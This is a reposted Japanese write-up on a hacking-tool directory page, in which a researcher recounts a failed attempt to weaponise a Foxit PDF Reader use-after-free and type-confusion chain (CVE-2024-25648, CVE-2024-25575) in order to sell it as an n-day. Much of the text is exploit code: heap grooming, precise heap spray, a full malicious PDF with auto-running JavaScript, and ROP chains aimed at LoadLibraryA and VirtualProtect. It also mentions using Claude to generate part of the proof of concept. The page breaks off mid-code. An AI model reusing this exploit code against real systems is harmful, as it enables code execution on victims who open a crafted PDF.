Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HackerLife.exe — 失敗したエクスプロイトチェーンの書き起こしと、初めてのndayを売ろうとした経験 | Kitploit
ツール/GitHubGitHub/spiralbl0ck/hackerlife.exe
脆弱性分析エクスプロイトリバースエンジニアリングシェルコード論文と研究学習と教育ペイロード開発バイナリエクスプロイト
GitHubspiralbl0ck/hackerlife.exe

HackerLife.exe

失敗したエクスプロイトチェーンの書き起こしと、初めてのndayを売ろうとした経験

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HackerLife.exe

完全な武器化に失敗したエクスプロイトチェーンと、初めてのndayを売ろうとしたときの経験についての記事です。

では、この話は何なのか?いわば「2025年、絶えず変化し複雑化する環境で成功しようともがく若手セキュリティリサーチャーの人生経験」です。2025年を迎えたとき、私の人生にいくつかの出来事が起こり、なんとかしてお金を稼ごうと思うようになりました。残念ながら、この記事で見る通り、私は惨めに失敗したため、今日に至るまでそれは実現していません。そこでチームは自分たちのスキルを活用しようと決めました。ssnである人物から連絡が来たのです。その人物は、mnnaの一部である国の出身で、NATOの友好国にあるサイバーセキュリティ系の新興スタートアップだと名乗りました(この人物の詳細はどうでもいいので、あまり残さないようにしています)。彼らが連絡してきたのは、自社製品である「Metasploit Premiumフレームワーク」のようなものを改善してくれる人を探していたからで、つまり基本的にはフレームワーク用のndayを必要としていたのです。それに対し私たちは、一定の金額と引き換えに喜んで支援すると返答しました(これも結局取引が成立しなかったので、やはり関係ありません)。そこで私たちは、1ヶ月半でエクスプロイトにできそうな候補CVEを一連提案しました。提案した成果物はここから見られます。catalogue_final.pdf 。とにかく、ここでサイバーに手を出したい若者たちへの最初の重要な教訓です。CVEを選ぶときは、研究を始める前に3〜4週間かけてそのCVEをレビューしましょう。前述のカタログには、エクスプロイトの1つがチェーン、具体的にはPDFのチェーンであることが載っています。私たちは説明文をちらっと見て、提供されたPoCを1、2回実行し、CWEが何かを確認しただけで、「これを完全な武器化エクスプロイトにできるかもしれない」と判断しました。その見込みは、真実からほど遠いものでした。

なぜなら、時には人生にはいろいろあるからです。私には合格すべき試験があり、実際のエクスプロイト作業は2月20日に開始すると決めました。2月20日になり、エクスプロイトの作業を開始しました。まずは「比較的簡単」なものから始めました(皮肉ですよ)。CVE-2024-25648です。しかし、それに取りかかる前に、PDFの構造を理解しようとし始めました。というか、少しだけ概要を把握しようとしたのです。後でこの記事で見るように、特定のイベントが発生したときにトリガーされるさまざまなアクションを含む「正しいドキュメント」をクラッシュさせる必要がありました。ここで、この厄介な仕組みをきちんとドキュメント化してくれたange albertiniに敬意を表します。PDFの構造を理解するために使用したリソースは以下です。https://www.youtube.com/watch?v=q6KgFezu8tw , https://www.youtube.com/watch?v=8g6G96nn7Mo , https://www.youtube.com/live/xZPK04a5ltc 。それがなぜ関連するのか?正直なところ忘れてしまいましたが、このチェーンでは、エクスプロイトの一部がPDFを開いたときにバックグラウンドで実行され、もう一部は閉じたときに実行されるようにしようと決めていました。理想的には、閉じたときにCVE-2024-25648を、開いたときにCVE-2024-25575をエクスプロイトする予定でした。具体的には、UAFを精密に悪用するための正確なメモリレイアウトを作成するために、アドレス計算用の情報漏えい(info-leak)とROPガジェットが必要でした。したがって、エクスプロイトのフローは次のようになるはずでした: type conf ->infoleak --> gc to clear the layout of heap --> spray precise -->uaf -->eip control -8 --> stackpivot -->ropchiain --> sc --> pop calc.exe 。現時点では、UAFとヒープスプレー、そして理論上の(未テストの)ROPチェーン2つのみがあります。

さて、詳細にはあまり踏み込みませんが、あらゆるUAF悪用において重要なのは、明らかに「アロケータプリミティブ(allocator primitive)」です。それは何か?簡単に言えば、自分が望む内容とサイズを割り当てられるようにするものです。幸いなことに、このテーマについて研究していた他の人たちがいました。そこで、https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once を出発点として使用しました。つまり、私たちの研究は次のようなものから始める必要があると分かっていました。 function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15} しかし、正確に何をすればいいのかは分かりませんでした。そこでアドバイザリに戻って読み直し、脆弱なオブジェクトのサイズを特定しようとしました。どうやって特定したのか?正直、まったくの運です。RlptFreeHeap、Math.atan、Math.sin、そして最後にRtlAllocateHeapにフックを仕込んでいました(研究の途中でジャンクになってしまい、どうやら失くしました。すみません)。ここにオブジェクトのトレース画像を挿入。メモリ割り当てのパターンを調べた結果、脆弱なオブジェクトのサイズは0x70であると結論付けました。次にやったのは、そのオブジェクトをリクレームすることでした。一般に、UAFを悪用するには、そのオブジェクトを制御するための前提条件が2つあります。1. サイズを知ること、2. freeと再使用の間に新しい割り当てを配置できること。私たちはそれを実行しました。以下のとおりです。 function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

私たちは、deletePages()(削除を行う処理)の間に、目的のオブジェクトの再割り当てを配置しました。そして、見よ、41414141のEIP制御の画像を挿入。先ほどエクスプロイトのフローやアーキテクチャの観点から話しましたが、GCを呼び出してヒープをクリアしたいと言いましたね。GCを呼び出してヒープ状態をクリアする方法に詳しくない人のために詳細には踏み込みませんが、方法は多数あります。その1つは、非常に大きなオブジェクトを数回作成するだけで完了します。 実際の実装は次の関数でした。 function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

目新しいことは何もなく、この実装についてのちょっとした事実を指摘したかっただけです。さて、もう1つ話すべきことがあります。このエクスプロイトは32ビットソフトウェアをターゲットにしているからです。Windowsには「precise heap spray(精密ヒープスプレー)」という概念があります。それは何か?Windows(Linuxでも可能だと思いますが、私はWindowsでしか見たことがありません)では、32ビット空間に対して毎回予測可能なアドレスを割り当てることができます。正直、これも目新しいものではありません。理解してしまえば簡単なことです。かつては複雑に理解していましたが、今はもう忘れてしまいました :)))。とにかく、Windows 10では、VABlocksに0x7fb0のサイズのVirtualAllocを行うことはできません。しかし、幸いなことにトリックがあります。0x10000、0x40000、そして別のサイズの割り当てを、たしか0x300回ほど段階的に行うのです。これでそれが可能になります。繰り返しますが、知っている人には目新しいことは何もありません。以下が具体的な実装です。 function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

目新しいことは何もなく、同じペイロードを0x10000から次の0x10000へ繰り返し、0x40000の16進文字列を形成してから、文字通りそれをスプレーします。ここで言っておかなければならないのは、これはやや不安定だということです。大量にスプレーしても、正確なアドレスを取得できるのはたまにしかないからです。少し最適化・改善が必要です。なぜなら、まあ、この処理を正確にどうやるのか忘れてしまったからです。 windbgの画像と、そこで何が見えるかの説明を挿入。

章を閉じる前に、Math.atan、Math.sin、RlptFreeHeap/RtlpAllocateHeapのフックをどのように作成したかに触れておく価値があるでしょう。Rtlp関数については、Foxitの古いバージョンを扱ったエクスプロイト開発トレーニングに参加したときに作ったフックがありました。Math.atan、Math.sinについては、ruben ....(説明を挿入)。そして、こういうものを作りました(フックを挿入)(windbgの画像と、そこで何が起きるかの説明を挿入)。

次に、このブログの後半、CVE-2024-25575についてです。

実際のTalosの記事の詳細にはあまり踏み込みませんが、2週間後、このバグの2番目の部分に目を向けたとき、rubenは私に警告しました。これは正確には型混淆(type confusion)バグではなく、文字列に対する型混淆を副作用として持つUAFかもしれない、と。それでも、これはエクスプロイト開発には良いシナリオに思えます。実際はそうでもありません。最初から、あなたは次のようなところから始まります。

var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;

app.activeDocs[0].deletePages();

app.fs.transitions;

lock_object.defineGetter('fields', function () {});

そして次の目的は、実際に一体どうやって app.fs.transitions を置き換えるかを見極めることです。この時点で、私とrubenは約3週間、髪をかきむしりながら頭を悩ませていました。なぜなら、Adobeのドキュメントによると、app.fs.transitionsは読み取り専用で書き込み不可のオブジェクトだからです(エクスプロイトにとっては良い兆候ではありません)。次に、フックを使ってapp.fs.transitionsのサイズを正しく特定できませんでした。なぜかって?前の部分では運よく特定できたのですが、ここでは運が悪く、サイズパラメータがフックに対応していないことに気づき、正確なサイズを特定できなかったのです。どうやってこの混乱から抜け出したのか?その3週間の間に、ある日Twitterで、ghidra/ida用のMCPサーバーを公開した人がいるのを見て、試してみようと言いました。確か1日か2日、claudeと議論した後、どういうわけかこの怪物が生成されました。 message.txt%PDF-1.5

1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R /AA << /WC 3 0 R
>> endobj

2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]

endobj

3 0 obj << /S /JavaScript /JS(

//var sprayArr = []; var sprayArr2 = [];

var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }

// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }

function type_conf() { app.alert("Starting alternative exploitation approach...");

root@kitploit:~
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];

for (var i = 0; i < fieldTypes.length; i++) {
    try {
        fields[fieldTypes[i]] = app.activeDocs[0].addField(
            'Field_' + fieldTypes[i], 
            fieldTypes[i], 
            0, 
            [10, 50 + i*40, 100, 80 + i*40]
        );
        app.alert("Created " + fieldTypes[i] + " field");
    } catch (e) {
        app.alert("Error creating " + fieldTypes[i] + " field: " + e);
    }
}

// Step 2: Store references to various objects from these fields
var objects = [];
try {
    // Get various objects from different field types to increase chances of success
    if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
    if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
    if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
    if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
    
    app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
    app.alert("Error storing object references: " + e);
}

// Step 3: Call deletePages() with specific parameters
try {
    app.activeDocs[0].deletePages({nStart: 0, nCount: 0});  // Try not to delete any pages
    app.alert("deletePages called with parameters");
} catch (e) {
    app.alert("Error in deletePages: " + e);
    // Continue anyway
}

// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];

// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
    stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}

// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
    var obj = {
        marker: 0xABCD0000 + i,
        index: i,
        name: "Marker" + i
    };
    bufferObjects.push(obj);
}

// Step 5: Access transitions and other APIs to influence memory
try {
    // Access app.fs.transitions
    app.fs.transitions;
    app.alert("Transitions accessed");
    
    // Access other properties that might influence memory
    if (app.fs.fonts) app.alert("Fonts accessed");
    if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
    app.alert("Error accessing app properties: " + e);
}

// Step 6: Trigger JavaScript garbage collection
try {
    for (var i = 0; i < 3; i++) {
        var largeArray = new Array(1000000);
        largeArray = null;
    }
    app.alert("Garbage collection potentially triggered");
} catch (e) {
    app.alert("Error triggering GC: " + e);
}

// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];

for (var i = 0; i < objects.length; i++) {
    var objName = objects[i].name;
    var obj = objects[i].obj;
    
    results.push("Examining " + objName + ":");
    
    try {
        // Check object type
        results.push("- Type: " + typeof obj);
        
        // Try to convert to string
        var asString = String(obj);
        results.push("- String representation: " + asString);
        
        // Look for patterns that might indicate addresses
        var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
        if (hexMatches) {
            for (var m = 0; m < hexMatches.length; m++) {
                results.push("- Potential address: 0x" + hexMatches[m]);
            }
        }
        
        // Try JSON serialization with error handling
        try {
            var asJson = JSON.stringify(obj);
            if (asJson && asJson.length > 2) {  // Not empty object
                results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
            }
        } catch (jsonError) {
            results.push("- JSON error: " + jsonError);
        }
        
    } catch (e) {
        results.push("- Error examining object: " + e);
    }
}

// Report results
for (var i = 0; i < results.length; i++) {
    app.alert(results[i]);
}

app.alert("Alternative exploitation completed");

}

type_conf();

root@kitploit:~
)

endobj

4 0 obj << /S /JavaScript /JS(

/* ROP

FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax

we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian

and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian

at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such

arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

writeprocessmemory がないので、loadlibrarya に頼ることにする。

43 3A は次に等しい C:\Users\Vlad\Desktop\hack.dll

0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)

あるいは、ペイロードとして VirtualProtect チェーンを使いたい場合

skeleton = RopChain()

skeleton += 0x41414141 # VirtualAlloc address

skeleton += 0x42424242 # shellcode return address to return to after VirtualAlloc is called

skeleton += 0x43434343 # lpAddress (shellcode address)

skeleton += 0x44444444 # dwSize (0x1)

skeleton += 0x45454545 # flAllocationType (0x1000)

skeleton += 0x46464646 # flProtect (0x40)

rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #this needs to be changed to point to shellcode rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) since it's the same rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = size for shellcode here rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

*/

var global_address_spray = [];

function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }

function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

function allocateSprayBuffer(payload) { // Create a SharedArrayBuffer sized to hold the payload. // Assuming one byte per character (e.g. for ASCII-only data). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

var sprayArr = []; var sprayArr2 = [];

var theSize = 0x70-8;

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

//start("enabling the heap hook"); //end("disabling the heap hook");

//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }

//store_shellcode(); //uaf(); //console.show(); )>>

5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj

trailer << /Root 1 0 R
/Size 12

startxref

%%EOF

さて、私たちがやったのは、いわばリグレッションテストです。Ruben がこの PoC を取り上げ、1行ずつ分解していったのです。全体のプロセスは、私の記憶ではおよそ2週間かかりました。その会話の面白い逸話は次のようなものでした:

vlad: ecx を完全に制御した!!!!! infoleak に近い これだと ecx を正確に制御できるけど、文字列をどう置き換えるか分からない。文字列オブジェクトは死んでるけど、どこでクラッシュするかはある程度制御できる ランダムな PoC を貼る で、これだと ecx をほぼ制御できる。ecx+8 を制御する。まあいいや、とにかく infoleak にしてくれ 🙂 ランダムな PoC を投稿 これだと文字列 'object is dead' を制御できる だから近いはず で、すでに結論出したように exp は100%じゃない。でも100%である必要はなくて、信頼性が高ければいい。だから俺のテストでは 5/3 で上記の出力になる 部分的なやつは object_is_dead で100%の確率で ecx 制御とともにクラッシュする

reuben: この PoC を実行しようとしてるんだけど、これはまったく別のバグだよ lol

vlad: ちょっと VC してもいい? 君の調査結果について聞きたい 何? 完全に別のバグってどういうこと?? 0day??? 俺たち app.fs.transitions にアクセスしようとしてるのは知ってるだろ それがあるから、これが0dayなのか、バグ同士の混乱なのか、別のCVEなのか疑問に思ってるんだ。もちろんまた delete_pages と app.fs.transition を使うけど

reuben: それで、前はランダムな場所でクラッシュしてたんだ。何が起きたか分からない でも 今は同じ場所でクラッシュしてる(もう何度も再現した) でもこれ聞いて app.fs.transitions を呼ぶ前にクラッシュしてるんだ

vlad: 人生って何なんだろうな???

reuben: そこにあるデータをまだ制御する方法は分からないけど、何かがそれを置き換えられることはほぼ確信してる

vlad: OK、これ聞くけど 今持ってる PoC たちは ある程度の制御を示してる ecx に関しては で、君の話だと app.fs.transitions は役に立たないんだろ いいね ってことは正しい道にいるってことか?

reuben: うん、app.fs.transitions なしでもやれる。それ、ずっと言ってたんだ。ただ、どうやってトリガーするか分からなかっただけで(正直、今も分かってない)

vlad: まあ、君が言ったように 実際のバグは type confusion というより UAF ってことはあり得る??? そして type confusion にしているのは app.fs.transitions が原因ってこと?

そしてここで、思考プロセスの中で学んだ教訓があります。これは若手研究者にとっても重要かもしれません。アドバイザリでは type confusion のように見えるバグでも、自分の分析では別のクラスの動作をするように見える場合、その兆候かもしれません。例えば、type confusion を infoleak に使いたいけれど、Windows 上ではバグが UAF として動作するなら、ほぼ間違いなく infoleak はできないでしょう。

reuben: まだ何とも言えない でもこれを聞いて 君の最後の PoC からステップ11を取り除いたんだ それでもトリガーする ステップ11は app.fs.transitions を呼ぶところだよ それを使って何かをリークできるかはまだ分からないけどね lol

vlad: 同意 でも少なくとも今はある程度の制御を得た とはいえ、それはたいしたことでもないけど 偶然かもしれないし、制御できないかもしれないからね wwww で、振り出しに戻る 人生って何なんだろう????

reuben: OK、で、クラッシュ時に表示されるテキストを変更したんだ 😄

vlad: えええ 本当? 制御できたの?

一条の光が見えた気がする

reuben: 完全には制御できてない。テキストが UTF-16LE だからね。でも何かできるかもしれない。見てみよう

reuben: image-2

reuben: これは別のパターン。つまり UTF-16LE の制限を回避できるかもしれない

0:000> db ecx - 4 0f55f9ec 78 31 32 78 33 34 78 35-36 78 37 38 78 39 41 78 x12x34x56x78x9Ax 0f55f9fc 42 43 78 44 45 78 46 30-78 31 32 48 00 00 00 00 BCxDExF0x12H.... 0f55fa0c 00 00 00 00 06 00 01 0f-40 da 3a 0e 00 00 00 00 ........@.:..... 0f55fa1c 00 00 00 00 00 00 00 00-e0 49 55 0f 10 00 00 00 .........IU..... 0f55fa2c 02 00 00 00 6c bb 54 0f-48 bb 54 0f 0a 00 00 00 ....l.T.H.T..... 0f55fa3c 00 00 00 00 01 00 00 00-10 00 00 00 10 00 00 00 ................ 0f55fa4c 54 00 69 00 6d 00 65 00-73 00 20 00 42 00 6f 00 T.i.m.e.s. .B.o. 0f55fa5c 6c 00 64 00 49 00 74 00-61 00 6c 00 69 00 63 00 l.d.I.t.a.l.i.c.

......... 会話は、簡潔さと精神衛生のために省略します

そして、ある時点で "final PoC" に到達しました。そこで行き詰まったのですが、次のようなものです function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
